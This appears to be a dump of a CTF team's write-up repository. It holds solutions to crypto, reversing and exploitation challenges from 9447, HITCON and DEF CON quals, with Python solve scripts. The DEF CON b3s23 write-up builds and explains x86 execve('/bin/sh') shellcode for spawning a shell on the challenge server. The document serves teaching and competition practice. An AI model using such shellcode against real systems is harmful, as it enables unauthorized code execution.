├── 2014 └── 9447 │ └── hellomike │ └── README.md ├── 2015 ├── 9447 │ ├── dubkey │ │ └── README.md │ ├── fibbed │ │ └── README.md │ ├── hellojoe │ │ ├── README.md │ │ ├── hellojoe │ │ └── solve.py │ └── randbox │ │ └── README.md ├── csaw │ ├── bricks-of-gold │ │ └── README.md │ └── meme-shop │ │ └── README.md ├── gits │ └── blockys_revenge │ │ └── README.md └── hitcon │ ├── phishingme │ └── README.md │ └── risky │ ├── README.md │ ├── risky │ └── solve.py ├── 2016 ├── defcon │ └── quals │ │ ├── b3s23 │ │ ├── README.md │ │ └── b3s23_solve.py │ │ └── justintime │ │ ├── README.md │ │ └── justintime.py ├── hack.lu │ ├── cornelius1 │ │ ├── README.md │ │ ├── server_7ba48c65c8dca07720f4fa487a4a3410.rb │ │ └── solve.py │ ├── cryptolocker │ │ ├── AESCipher.py │ │ ├── README.md │ │ ├── cryptolock.py │ │ ├── cryptolocker_6bbcbf82580d170998e8b088e19ab983.zip │ │ ├── flag.encrypted │ │ └── solve.py │ ├── dataonly │ │ ├── README.md │ │ ├── dataonly_24001a4e2a4cfb06392de6c887e8101b.tar │ │ └── solve.py │ ├── maze │ │ ├── README.md │ │ └── solve.py │ ├── redacted │ │ ├── README.md │ │ ├── redacted_6175ab865421ca2c83b7c77d7ee521f3 │ │ └── solve.py │ └── simplepdf │ │ ├── README.md │ │ ├── simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf │ │ └── solve.py ├── rc3 │ └── cachet.md └── tum │ └── l1br4ry │ ├── README.md │ ├── l1br4ry │ └── solve.py ├── 2020 └── plaid │ └── bonzischeme │ ├── README.md │ ├── acs.py │ ├── bonz.acs │ ├── f4e13b63-d5b9-456b-a12f-0645543bcaad.bmp │ ├── newbonz.acs │ └── soln.py └── README.md /2014/9447/hellomike/README.md: -------------------------------------------------------------------------------- 1 | [Writeup available on Shane's website](https://medium.com/@shanewilton/9447-ctf-2014-hellomike-writeup-ba812f012d5) 2 | -------------------------------------------------------------------------------- /2015/9447/dubkey/README.md: -------------------------------------------------------------------------------- 1 | # Dubkey 2 | 3 | This problem tasks us with signing a given message, given the ability to sign up to 255 other messages. 4 | 5 | The signature algorithm acts on a 128-byte `M`, and has a 128-byte secret, `S`. First, `S` is prepended to `M`, giving us `T = S | M`, a 256-byte string. 6 | 7 | Next, a directed graph is constructed as follows: 8 | 9 | 1) For i in [0, 255], construct a vertex `V_i` 10 | 11 | 2) For i in [0, 255], construct an edge from `V_i` to `V_(ord(T[i]))` 12 | 13 | The signature is then computed as the product of the lengths of the longest paths beginning at each vertex. 14 | 15 | We first make the observation that if we choose `M = chr(128) | chr(129) | ... | chr(255)`, then all of the paths from vertices [128, 255] will have length 1, and won't contribute to the signature. 16 | 17 | We can use this fact to determine what vertices are reachable from the vertices associated with the secret. Consider `M` with `M[0]` set to `chr(255)`. If `V_128` is not referenced in the secret, then none of the path lengths will change, and the signature will remain the same. However, if `V_128` is reachable, then one of the paths will have longer length, and the signature will increase. 18 | 19 | We use this process to find two root nodes, `r_1` and `r_2` for the directed graph of the signature we're trying to forge. We can then simply swap these two nodes to produce a second message that results in the required signature. 20 | 21 | We use the oracle to determine the signature of this message, then submit it, resulting in the flag: `9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}` 22 | -------------------------------------------------------------------------------- /2015/9447/fibbed/README.md: -------------------------------------------------------------------------------- 1 | # Fibbed 2 | 3 | This problem involves decrypting a flag that was encrypted using a Diffie Hellman scheme. The key consists of the pair `(r, e)`. Here, `r` is a public matrix in `Z_p`, and `e` is a secret, random element of `Z_p`. 4 | 5 | The pcap gives us the following: 6 | 7 | ``` 8 | p: 981725946171163877 9 | server_r (one row of it): [58449491987662952, 704965025359609904] 10 | client_r (one row of it): [453665378628814896, 152333692332446539] 11 | ciphertext: 59719af4dbb78be07d0398711c0607916dd59bfa57b297cd220b9d2d7d217f278db6adca88c9802098ba704a18cce7dd0124f8ce492b39b64ced0843862ac2a6 12 | ``` 13 | 14 | The matrix is calculated using the following function: 15 | 16 | ```python 17 | def calcM(p, l, base): 18 | if l == 0: 19 | return [[base[1], base[0]], [base[0], base[1]]] 20 | x1 = [[base[0], base[1]], [base[1], (base[0] + base[1]) % p]] 21 | x2 = mult(x1, x1, p) 22 | for i in bin(l)[3:]: 23 | if i == '1': 24 | x1 = mult(x1, x2, p) 25 | x2 = mult(x2, x2, p) 26 | else: 27 | x2 = mult(x1, x2, p) 28 | x1 = mult(x1, x1, p) 29 | return x1 30 | 31 | r = calcM(p, e, (0, 1)) 32 | ``` 33 | 34 | Looking carefully at the implementation, it is clear that for the base `(0, 1)`, this computes `Q^e (mod p)`, where `Q` is the [Fibonacci Q-Matrix](http://mathworld.wolfram.com/FibonacciQ-Matrix.html). Since we know that [Binet's Formula](http://mathworld.wolfram.com/BinetsFibonacciNumberFormula.html) is a closed-form solution to the Fibonacci sequence, we can use its inverse to compute `e` from `r`. This gives us that `e` is `152106608687469950`, which we can use to decrypt the ciphertext: `9447{Pisan0_mU5t_nEv3r_hAve_THougHt_0f_bruTe_f0rce5}` 35 | -------------------------------------------------------------------------------- /2015/9447/hellojoe/README.md: -------------------------------------------------------------------------------- 1 | ## hellojoe, reversing challenge from 9447 CTF 2015 2 | #### by dropkick from team Samurai 3 | 4 | tl;dr - hellojoe mainly consisted of six functions that each checked the input (i.e., the flag) against a set of possible characters. The intersection of all the constraints in each 'verifier' function yielded the flag. 5 | 6 | The main function of `hellojoe` copied six code segments from the .data section into some freshly mmap()'d executable memory. It then calls these six functions in random order on `argv[1]`. If they all return `1`, you have found the flag. 7 | 8 | #### Verifier functions 9 | Each verifier function contained 38 blocks of code that all took a similar form, which looked something like this: 10 | 11 | ``` 12 | 0x602685: rdtsc 13 | 0x602687: test eax,0xfffff 14 | 0x60268c: jne 0x602685 15 | 0x60268e: movzx rax,BYTE PTR [rdi] 16 | 0x602692: inc rdi 17 | 0x602695: cmp al,0x35 18 | 0x602697: je 0x6026b0 19 | 0x60269d: cmp al,0x64 20 | 0x60269f: je 0x6026b0 21 | 0x6026a5: cmp al,0x65 22 | 0x6026a7: je 0x6026b0 23 | 0x6026ad: xor eax,eax 24 | 0x6026af: ret 25 | ``` 26 | 27 | The blocks either contained a series of (usually three) `cmp` instructions against the current char from the input (38 in total) or it simply skipped to the next character. The beginning `rdtsc` loop appears to simply waste time and can be ignored. The important part is the set of characters (again usually three) that are compared against the current input character. By comparing the possible 'valid' characters for any given position of the input across all six validation functions, you can discover the flag. I did this more-or-less by hand during the ctf (with a helper IDApython script), then wrote the below python script that leverages the pwntools ELF loader, the capstone disassembly library, and python sets to automate the solution. 28 | 29 | ```python 30 | from pwn import * 31 | from capstone import * 32 | 33 | hellojoe = ELF('hellojoe') 34 | 35 | verify_funcs = [ 36 | 0x6025c5, 37 | 0x602065, 38 | 0x601b05, 39 | 0x601625, 40 | 0x6010c5 41 | ] 42 | 43 | # vc_set is the set of all valid input characters, which one disocvers when analyzing the first 44 | # verifier function 45 | vc_set = set() 46 | vc_set.update([c for c in '0123456789abcdef{}']) 47 | # sets1 represent the constraints from the first verifier function, 48 | # which simply ensures the flag is in the format 9447{...} 49 | sets1 = [{'9'},{'4'},{'4'},{'7'},{'{'}] 50 | for i in xrange(32): 51 | sets1.append(vc_set) 52 | sets1.append({'}'}) 53 | # cl is a list to contain all constraint lists 54 | cl = [] 55 | cl.append(sets1) 56 | 57 | md = Cs(CS_ARCH_X86, CS_MODE_64) 58 | 59 | for i, func in enumerate(verify_funcs): 60 | constraints = [] 61 | # each verification function will check all 38 bytes 62 | next_block = func 63 | for j in xrange(38): 64 | print j 65 | disasm = md.disasm(hellojoe.read(next_block,60),next_block) 66 | # skip first five instructions 67 | for _ in xrange(5): 68 | print '\t' + disasm.next().mnemonic 69 | insn = disasm.next() 70 | if insn.mnemonic == 'jmp': 71 | # this character position has no constraints 72 | constraints.append(vc_set) 73 | print '\tadded constraints (vc_set)' 74 | # move to the next block 75 | next_block = int(insn.op_str,16) 76 | continue 77 | poss_chars = set() 78 | while insn.mnemonic != 'xor': 79 | if insn.mnemonic == 'cmp': 80 | # add char to the set 81 | c = chr(int(insn.op_str.split(',')[1],16)) 82 | poss_chars.add(c) 83 | elif insn.mnemonic == 'je': 84 | next_block = int(insn.op_str,16) 85 | insn = disasm.next() 86 | constraints.append(poss_chars) 87 | print '\tadded constraints {0}'.format(poss_chars) 88 | cl.append(constraints) 89 | 90 | flag = '' 91 | # for each character position, take the intersection of the sets of character constraints from each 92 | # verifier function 93 | for i in xrange(38): 94 | c = cl[0][i] & cl[1][i] & cl[2][i] & cl[3][i] & cl[4][i] & cl[5][i] 95 | flag += c.pop() 96 | print flag 97 | print 'Done.' 98 | ``` 99 | 100 | And the script yields the flag: 101 | `9447{94ea5e32f2b5b37d947eea3a38932ae1}` 102 | 103 | 104 | -------------------------------------------------------------------------------- /2015/9447/hellojoe/hellojoe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2015/9447/hellojoe/hellojoe -------------------------------------------------------------------------------- /2015/9447/hellojoe/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | from capstone import * 5 | 6 | hellojoe = ELF('hellojoe') 7 | 8 | verify_funcs = [ 9 | 0x6025c5, 10 | 0x602065, 11 | 0x601b05, 12 | 0x601625, 13 | 0x6010c5 14 | ] 15 | 16 | # vc_set is the set of all valid input characters, which one disocvers when analyzing the first 17 | # verifier function 18 | vc_set = set() 19 | vc_set.update([c for c in '0123456789abcdef{}']) 20 | # sets1 represent the constraints from the first verifier function, 21 | # which simply ensures the flag is in the format 9447{...} 22 | sets1 = [{'9'},{'4'},{'4'},{'7'},{'{'}] 23 | for i in xrange(32): 24 | sets1.append(vc_set) 25 | sets1.append({'}'}) 26 | # cl is a list to contain all constraint lists 27 | cl = [] 28 | cl.append(sets1) 29 | 30 | md = Cs(CS_ARCH_X86, CS_MODE_64) 31 | 32 | for i, func in enumerate(verify_funcs): 33 | constraints = [] 34 | # each verification function will check all 38 bytes 35 | next_block = func 36 | for j in xrange(38): 37 | print j 38 | disasm = md.disasm(hellojoe.read(next_block,60),next_block) 39 | # skip first five instructions 40 | for _ in xrange(5): 41 | print '\t' + disasm.next().mnemonic 42 | insn = disasm.next() 43 | if insn.mnemonic == 'jmp': 44 | # this character position has no constraints 45 | constraints.append(vc_set) 46 | print '\tadded constraints (vc_set)' 47 | # move to the next block 48 | next_block = int(insn.op_str,16) 49 | continue 50 | poss_chars = set() 51 | while insn.mnemonic != 'xor': 52 | if insn.mnemonic == 'cmp': 53 | # add char to the set 54 | c = chr(int(insn.op_str.split(',')[1],16)) 55 | poss_chars.add(c) 56 | elif insn.mnemonic == 'je': 57 | next_block = int(insn.op_str,16) 58 | insn = disasm.next() 59 | constraints.append(poss_chars) 60 | print '\tadded constraints {0}'.format(poss_chars) 61 | cl.append(constraints) 62 | 63 | flag = '' 64 | # for each character position, take the intersection of the sets of character constraints from each 65 | # verifier function 66 | for i in xrange(38): 67 | c = cl[0][i] & cl[1][i] & cl[2][i] & cl[3][i] & cl[4][i] & cl[5][i] 68 | flag += c.pop() 69 | print flag 70 | print 'Done.' 71 | -------------------------------------------------------------------------------- /2015/9447/randbox/README.md: -------------------------------------------------------------------------------- 1 | This service has 10 "levels" and each level required that you decrypt a ciphertext through the use of an encryption oracle. The following script automatically completes levels 1 through 9. We completed the 10th level manually, but it was just a simple permutation cipher that also mapped `abcdef` to `badcfe`. By sending the alphabet as our plaintext it was trivial to recover the permutation and decrypt the ciphertext. The server then returned the flag to us: `9447{crYpt0_m4y_n0T_Be_S0_haRD}` 2 | 3 | ```python 4 | #!/usr/bin/env python2 5 | 6 | from pwn import * 7 | 8 | def solve1(): 9 | r.recvuntil('encrypts to ') 10 | val = r.recvline().strip() 11 | val = val[1:-1] 12 | r.recv() 13 | key = '1234567890abcdef' 14 | r.sendline(key) 15 | mapping = r.recv().strip() 16 | s = '' 17 | for c in val: 18 | s += key[mapping.index(c)] 19 | 20 | log.info(s) 21 | r.sendline(s) 22 | 23 | def solve2(): 24 | r.recvuntil('encrypts to ') 25 | val = r.recvline().strip()[1:-1] 26 | r.recv() 27 | r.sendline(val) 28 | res = r.recvline().strip() 29 | shift = val.index(res[:3]) 30 | s = val[-shift:] + val[:-shift] 31 | r.sendline(s) 32 | log.info(s) 33 | 34 | def solve3(): 35 | solve1() 36 | 37 | def solve4(): 38 | solve1() 39 | 40 | def solve5(): 41 | solve1() 42 | 43 | def solve6(): 44 | r.recvuntil('encrypts to ') 45 | val = r.recvline().strip()[1:-1] 46 | r.recv() 47 | r.sendline('0'*32) 48 | res = r.recvline().strip() 49 | mappings = [res] 50 | for i in range(1, 16): 51 | mapping = '' 52 | for j in range(32): 53 | mapping += hex((int(res[j], 16) + i) % 16)[-1] 54 | mappings.append(mapping) 55 | 56 | answer = '' 57 | for i in range(32): 58 | c = val[i] 59 | for j in range(16): 60 | if mappings[j][i] == c: 61 | answer += hex(j)[-1] 62 | break 63 | log.info(answer) 64 | r.sendline(answer) 65 | 66 | def solve7(): 67 | r.recvuntil('encrypts to ') 68 | val = r.recvline().strip()[1:-1] 69 | r.recv() 70 | 71 | r.sendline(val[0]) 72 | res = r.recvline().strip() 73 | r.recv() 74 | 75 | for i in range(31): 76 | for j in range(16): 77 | guess = hex(j)[-1] 78 | result = seven_algo(res + guess, val[0]) 79 | if val.startswith(result): 80 | res += guess 81 | break 82 | if len(res) != i + 2: 83 | print i, len(res) 84 | print 'Missed one' 85 | break 86 | r.sendline(res) 87 | log.info(res) 88 | 89 | def seven_algo(a, first): 90 | res = first 91 | a = [int(x, 16) for x in a] 92 | for i in range(1, len(a)): 93 | res += hex(a[i] ^ a[i-1])[-1] 94 | 95 | return res 96 | 97 | def solve8(): 98 | r.recvuntil('encrypts to ') 99 | val = r.recvline().strip()[1:-1] 100 | print val 101 | r.recv() 102 | 103 | r.sendline('0') 104 | shift = 16 - int(r.recvline().strip(), 16) 105 | res = hex(int(val[0], 16) + shift)[-1] 106 | for i in range(1, 32): 107 | res += hex((int(val[i], 16) - int(val[i-1], 16))%16)[-1] 108 | 109 | log.info(res) 110 | r.sendline(res) 111 | 112 | def solve9(): 113 | solve7() 114 | 115 | r = remote('randBox-iw8w3ae3.9447.plumbing', 9447) 116 | solve1() 117 | solve2() 118 | solve3() 119 | solve4() 120 | solve5() 121 | solve6() 122 | solve7() 123 | solve8() 124 | solve9() 125 | 126 | r.interactive() 127 | ``` 128 | -------------------------------------------------------------------------------- /2015/csaw/bricks-of-gold/README.md: -------------------------------------------------------------------------------- 1 | [Writeup available on nilch's website](http://tiszka.com/writeup/5659313586569216) 2 | -------------------------------------------------------------------------------- /2015/csaw/meme-shop/README.md: -------------------------------------------------------------------------------- 1 | [Writeup available on nilch's website](http://tiszka.com/writeup/5654313976201216) 2 | -------------------------------------------------------------------------------- /2015/gits/blockys_revenge/README.md: -------------------------------------------------------------------------------- 1 | [Writeup available on Shane's website](https://medium.com/@shanewilton/ghost-in-the-shellcode-2015-blockys-revenge-7074a119115e) 2 | -------------------------------------------------------------------------------- /2015/hitcon/phishingme/README.md: -------------------------------------------------------------------------------- 1 | [Writeup available on thebarbershopper's website](http://ctfhacker.com/ctf/phishing/2015/10/19/hitcon-phishingme.html) 2 | -------------------------------------------------------------------------------- /2015/hitcon/risky/README.md: -------------------------------------------------------------------------------- 1 | ## risky, 300 point reversing challenge from hitcon quals 2015 2 | #### by dropkick from team Samurai 3 | 4 | `risky` turned out to be a [RISC-V](http://riscv.org/) binary (hitcon team is good at naming challenges). Never having dealt with this architecture before, I burned a good bit of time attempting to get all the available [RISC-V toolchains](https://github.com/riscv) functional, which was unnecessary. In the end we couldn't even get the `spike` simulator to work correctly; we resorted to pure static reversing. 5 | 6 | #### Analysis 7 | We were able to use `riscv64-unknown-elf-objdump` from `riscv-tools` to at least get a disassembly. Finding the call to `__libc_start_main` gets you the address of `main()`, which is at the top of the `.text` section. `main()` is the only real function in the binary. `main()` begins by prompting the user for input and ensuring the input takes the form `XXXX-XXXX-XXXX-XXXX-XXXX`. Once that's complete, each of the five sequences of 4 chars each is loaded into a register and treated as a single 32-bit value. 8 | 9 | #### Extracting constraints 10 | A number of simple checks are done on the input values. The full set of constraints can be viewed in solve.py. Learning point: the `lui` instruction in RISC-V means load *upper* immediate, NOT load *unsigned* immediate. 11 | 12 | ### XOR'ing and flag generation 13 | When the constraints are met, the program prints `Generating flag` and then goes though a loop that xors each of the five 32-bit inputs with values that are calculated and saved on the stack (again see the solve script). The program then spits out the flag, which should be `hitcon{dYauhy0urak9nbavca1m}` 14 | -------------------------------------------------------------------------------- /2015/hitcon/risky/risky: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2015/hitcon/risky/risky -------------------------------------------------------------------------------- /2015/hitcon/risky/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from claripy import * 4 | from pwn import * 5 | 6 | # if the input has the form AAAA-BBBB-CCCC-DDDD-EEEE, then registers are: 7 | # s3 = AAAA 8 | # s2 = BBBB 9 | # s1 = CCCC 10 | # s5 = DDDD 11 | # s0 = EEEE 12 | 13 | s0 = BV('s0', 32) 14 | s1 = BV('s1', 32) 15 | s2 = BV('s2', 32) 16 | s3 = BV('s3', 32) 17 | s5 = BV('s5', 32) 18 | 19 | s = Solver() 20 | 21 | # likely to be only printable chars 22 | for i in xrange(0, 32, 8): 23 | s.add(s0[i+7:i] >= ord('0')) 24 | s.add(s0[i+7:i] <= ord('z')) 25 | s.add(s1[i+7:i] >= ord('0')) 26 | s.add(s1[i+7:i] <= ord('z')) 27 | s.add(s2[i+7:i] >= ord('0')) 28 | s.add(s2[i+7:i] <= ord('z')) 29 | s.add(s3[i+7:i] >= ord('0')) 30 | s.add(s3[i+7:i] <= ord('z')) 31 | s.add(s5[i+7:i] >= ord('0')) 32 | s.add(s5[i+7:i] <= ord('z')) 33 | 34 | s.add(0x4978d844 == s3 * s0) 35 | s.add(0x9bcd30de == s2 * s1) 36 | s.add(0x313ac784 == s1 * s5) 37 | s.add(0xe3b0cdef == s1 + s2 + s0) 38 | s.add(0x181a9c5f == (s1*s5) +(s3*s2) + s0) 39 | s.add(0x2deacccb == (s3*s1) + (s2+s0)) 40 | s.add(0x8e2f6780 == s3 + s2 + s1 + s0 + s5) 41 | s.add(0xb3da7b5f == (s0+s1+s2) * (s3+s5)) 42 | s.add(0x41c7a3a0 == (s1*s5) * (s2*s1) *s0) 43 | 44 | if s.satisfiable(): 45 | print 'Satisfiable' 46 | model = s.result.model 47 | a = model['s3_3_32'].value 48 | b = model['s2_2_32'].value 49 | c = model['s1_1_32'].value 50 | d = model['s5_4_32'].value 51 | e = model['s0_0_32'].value 52 | print 'Key: {0}-{1}-{2}-{3}-{4}'.format(p32(a), p32(b), p32(c), p32(d), p32(e)) 53 | 54 | aa = a ^ 0x2c280d2f 55 | bb = b ^ 0x38053525 56 | cc = c ^ 0x6b5c2a24 57 | dd = d ^ 0x27542728 58 | ee = e ^ 0x2975572f 59 | print 'Flag: hitcon{%s}' % (p32(aa)+p32(bb)+p32(cc)+p32(dd)+p32(ee)) 60 | else: 61 | print 'Balls.' 62 | 63 | 64 | -------------------------------------------------------------------------------- /2016/defcon/quals/b3s23/README.md: -------------------------------------------------------------------------------- 1 | # DEFCON Qualifier 2016: b3s23 2 | 3 | ---------- 4 | ## Challenge details 5 | | Contest | Challenge | Category | Points | Solves | 6 | |:---------------|:--------------|:----------|-------:|-------:| 7 | | DEF CON CTF Quals 2016 | b3s23 | Coding Challenges | 111 | 34 | 8 | 9 | **Description:** 10 | 11 | > Please enjoy a Game of Life at b3s23_28f1ea914f8c873d232da030d4dd00e8.quals.shallweplayaga.me:2323 12 | > 13 | > [Download](http://download.quals.shallweplayaga.me/28f1ea914f8c873d232da030d4dd00e8/b3s23) 14 | 15 | ------- 16 | 17 | ## Write-up 18 | 19 | ### Background 20 | 21 | From [Wikipedia](https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life) we learn that b3s23 is the standard way of symbolizing Conway's Game of Life, where a cell is born if it has exactly 3 neighbors, survives if it has 2 or 3 living neighbors, or dies if neither is true. 22 | 23 | ### Binary Details 24 | 25 | ```bash 26 | $ file b3s23 27 | ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped 28 | ``` 29 | 30 | ### Execution 31 | Upon running the binary we receive the following: 32 | ```bash 33 | $ docker run -i legitbs/b3s23 34 | Welcome to b3s23. Enter x,y coordinates. Enter any other character to run. 35 | ``` 36 | It is assumed that we need to enter coordinates in the form x,y (e.g. 1,2) followed by any other character in order to set the positions of the initial live cells on the gameboard and iterate the Game of Life. For example, in order to create a a Block, a [still life](https://en.wikipedia.org/wiki/Still_life_(cellular_automaton)), one could enter the following, 37 | ``` 38 | 0,0 39 | 0,1 40 | 1,0 41 | 1,1 42 | a 43 | ``` 44 | An excerpt of the output would be 45 | ``` 46 | 110000 47 | 110000 48 | 000000 49 | ``` 50 | It was observed from the output that the game was iterating 15 times and then the connnection was closed. The output contained a 110x110 gameboard. I verified that if a coordinate less than 0 or greater than 109 was entered the following error would be printed. 51 | ```bash 52 | 110,0 53 | Illegal Coordinate! 54 | ``` 55 | While running it locally, a `Segmentation fault (core dumped)` was reported. The initial assumption was that the result of the final iteration from the Game of Life was being executed by the binary somehow. 56 | 57 | ### Reverse Engineering 58 | 59 | (TBD) 60 | 61 | ### Solution 62 | To solve this challenge I decided to construct an initial Game of Life board such that the final board would contain assembly code that when executed would provide an interactive shell to the client. I decided to use execve system call to get a shell. 63 | 64 | I started with the following execve shellcode, 65 | ```c 66 | int execve(const char *path, char *const argv[], char *const envp[]); 67 | ``` 68 | 69 | ```assembly 70 | xor %eax,%eax ; "\x31\xC0" 71 | push %eax ; "\x50" 72 | push $0x68732f2f ; "\x68\x2F\x2F\x73\x68" 73 | push $0x6e69622f ; "\x68\x2F\x62\x69\x6E" 74 | mov %ebx,%esp ; "\x89\xE3" 75 | mov %dl, 0x0 ; "\xB2\x00" 76 | push %eax ; "\x50" 77 | push %ebx ; "\x53" 78 | mov %ecx, %esp ; "\x89\xE1" 79 | mov %al, $0xb ; "\xA0\x00\x00\x00\x00" 80 | int $0x80 ; "\xCD\x80" 81 | ``` 82 | This shellcode accomplishes the following, 83 | 84 | 1. Sets eax to 0 and then pushes the value on the stack to Null-terminate the path 85 | 2. Pushes the the path string, "/bin/sh", on the stack 86 | 3. Moves the address of the path to ebx 87 | 4. Sets edx to 0 88 | 5. Pushes eax on the stack again (still 0) in order to Null-terminate the argv array 89 | 6. Pushes the address of the path on the stack 90 | 7. Moves the adddress of the stack pointer to ecx 91 | 8. Moves the system call number for execve into al 92 | 9. Invokes the system call 93 | 94 | I decided to attempt to encode the shellcode using only still life constructions. This would ensure that the entire construction would remain during the 15 iterations. At 28 bytes, the binary encoding of this shellcode would eventually wrap around the 110 bits of the first line of the game board. Wrapping would complicate the ability to stabilize the still life constructions. Therefore, I decided to try and reduce the size of the shellcode to only 13 bytes. 95 | 96 | By setting a breakpoint at `0xf661e000`, the address of the game board, I would be able to determine the state of the registers prior to executing the shellcode. The result was the following 97 | 98 | ``` assembly 99 | eax 0x0 100 | ecx 0x0 101 | edx 0x1 102 | ebx 0xf67c7000 ; last coordinate address 103 | esp 0xf6ffb6cc 104 | eip 0xf661e000 105 | ``` 106 | 107 | Since the eax register is already set to 0, I could eliminate the `xor eax,eax` instruction. The next four instructions are all used to get the address null-terminated path "/bin/sh" into `ebx`. The `ebx` register contains the address of the last bit that was set due to sending the program a coordinate. If I could encode the "/bin/sh" on the game board and send the program the coordinates for the first bit of the string, then `ebx` would already contain the address of the path. This would eliminate the need for the four instructions. 108 | 109 | The path "/bin/sh" encodes to following binary string 110 | 111 | ``` 112 | 00101111 01100010 01101001 01101110 00101111 01110011 01101000 113 | ``` 114 | Unfortunately, the first bit is not a 1. Therefore I would need to set the coordinate 1 bit before my string and then increment ebx. I was able to encode "/bin/sh" using the following still life construction. 115 | 116 | ``` 117 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 118 | 00011000000000000000000000000011000110000000011000000000000000000000000000000000000000000000000000000000000000 119 | 00001000000000000000000000000010000010001000010000000000000000000000000000000000000000000000000000000000000000 120 | 00010001011001100101100000000001000100010100000101101100000000000000000000000000000000000000000000000000000000 121 | -->00101111011000100110100101101110001011110111001101101000000000000000000000000000000000000000000000000000000000 122 | 00101000000001000000000110101000001010000000100000000010000000000000000000000000000000000000000000000000000000 123 | 01100100000001100000000000000000011001000001000000000110000000000000000000000000000000000000000000000000000000 124 | 00001100000000000000000000000000000011000001100000000000000000000000000000000000000000000000000000000000000000 125 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 126 | ``` 127 | 128 | With this construction in place the shellcode was simplified to the following 14 bytes, 129 | 130 | ```assembly 131 | inc %ebx ; "\x43" 132 | mov %dl, 0x0 ; "\xB2\x00" 133 | push %eax ; "\x50" 134 | push %ebx ; "\x53" 135 | mov %ecx, %esp ; "\x89\xE1" 136 | mov %al, $0xb ; "\xA0\x00\x00\x00\x00" 137 | int $0x80 ; "\xCD\x80" 138 | ``` 139 | I then replace `mov %al, $0xb` with `or %al, $0xb` to eliminate 3 bytes. Unfortunately, I was unable to find a still life construction for `mov %ecx, %esp`. So I had to replace these instructions with 140 | ```assembly 141 | push esp 142 | pop ecx 143 | ``` 144 | resulting in the following shellcode 145 | ```assembly 146 | inc %ebx ; "\x43" 147 | mov %dl, 0x0 ; "\xB2\x00" 148 | push %eax ; "\x50" 149 | push %ebx ; "\x53" 150 | push esp ; "\x54" 151 | pop ecx ; "\x59" 152 | or %al, $0xb ; "\xB0\x0B" 153 | int $0x80 ; "\xCD\x80" 154 | ``` 155 | With some additionally shuffling of instructions, I was eventually able to find a still life construction for the following shellcode 156 | ```assembly 157 | inc %ebx ; "\x43" 158 | push %eax ; "\x50" 159 | push %ebx ; "\x53" 160 | or %al, $0xb ; "\xB0\x0B" 161 | push esp ; "\x54" 162 | pop ecx ; "\x59" 163 | mov %dl, 0x0 ; "\xB2\x00" 164 | int $0x80 ; "\xCD\x80" 165 | ``` 166 | The final Game of Life still life construction for the shellcode was 167 | ``` 168 | 01000011010100000101001100001100000010110000110000001000010101000101100110110010000000001100110110000000000000 169 | 10100001011010000110100100001100000011010000110000010100101110100110100110110011100000001100110110000000000000 170 | 01000010000010000000110000000000000000000000000000001000100000100000000000000000010000000000000000000000000000 171 | 00000010110100000110100000000000000000000000000000000000010101000000000000000011100000000000000000000000000000 172 | 00000001011000000100100000000000000000000000000000000000001101100000000000000010000000000000000000000000000000 173 | 00000000000000000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 174 | 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 175 | ``` 176 | A python solver for this challenge is available [here](https://github.com/samuraictf/writeups/blob/master/defconquals2016/b3s23/b3s23_solve.py) 177 | -------------------------------------------------------------------------------- /2016/defcon/quals/b3s23/b3s23_solve.py: -------------------------------------------------------------------------------- 1 | import random 2 | import socket 3 | import time 4 | import sys 5 | import telnetlib 6 | 7 | TARGET = ('127.0.0.1', 1337) 8 | 9 | """ 10 | Executable B3/S23 still life. Ain't that something? 11 | 12 | State in the beginning is 13 | 14 | * EBX points after last shellcode byte (where we have last written) 15 | * ECX = EAX = 0 16 | * EDX = 1 17 | 18 | Steps 19 | * Encode "/bin/sh" in a middle row and left justified 20 | * Encode shellcode in the first 13 bytes of the first row 21 | * Set EBX on the last bit or the row before the start of our "/bin/sh" construction 22 | in order to preserve the integrity of the construction 23 | 24 | 25 | We increment EBX to point directly to "/bin/sh", then the shellcode setups and triggers 26 | the execve call. 27 | 28 | inc ebx 29 | push eax 30 | push ebx 31 | or al,0xb 32 | push esp 33 | pop ecx 34 | mov dl, 0x0 35 | int 0x80 36 | 37 | """ 38 | 39 | pattern = """ 40 | .#....##.#.#.....#.#..##....##......#.##....##......#....#.#.#...#.##..##.##..#.........##..##.##............. 41 | #.#....#.##.#....##.#..#....##......##.#....##.....#.#..#.###.#..##.#..##.##..###.......##..##.##............. 42 | .#....#.....#.......##..............................#...#.....#..................#............................ 43 | ......#.##.#.....##.#....................................#.#.#................###............................. 44 | .......#.##......#..#.....................................##.##...............#............................... 45 | ..................##.......................................................................................... 46 | .............................................................................................................. 47 | .............................................................................................................. 48 | .............................................................................................................. 49 | .............................................................................................................. 50 | .............................................................................................................. 51 | .............................................................................................................. 52 | .............................................................................................................. 53 | .............................................................................................................. 54 | .............................................................................................................. 55 | .............................................................................................................. 56 | .............................................................................................................. 57 | .............................................................................................................. 58 | .............................................................................................................. 59 | .............................................................................................................. 60 | .............................................................................................................. 61 | .............................................................................................................. 62 | .............................................................................................................. 63 | .............................................................................................................. 64 | .............................................................................................................. 65 | .............................................................................................................. 66 | .............................................................................................................. 67 | .............................................................................................................. 68 | .............................................................................................................. 69 | .............................................................................................................. 70 | .............................................................................................................. 71 | .............................................................................................................. 72 | .............................................................................................................. 73 | .............................................................................................................. 74 | .............................................................................................................. 75 | .............................................................................................................. 76 | .............................................................................................................. 77 | .............................................................................................................. 78 | .............................................................................................................. 79 | .............................................................................................................. 80 | .............................................................................................................. 81 | .............................................................................................................. 82 | .............................................................................................................. 83 | .............................................................................................................. 84 | .............................................................................................................. 85 | .............................................................................................................. 86 | .............................................................................................................. 87 | .............................................................................................................. 88 | 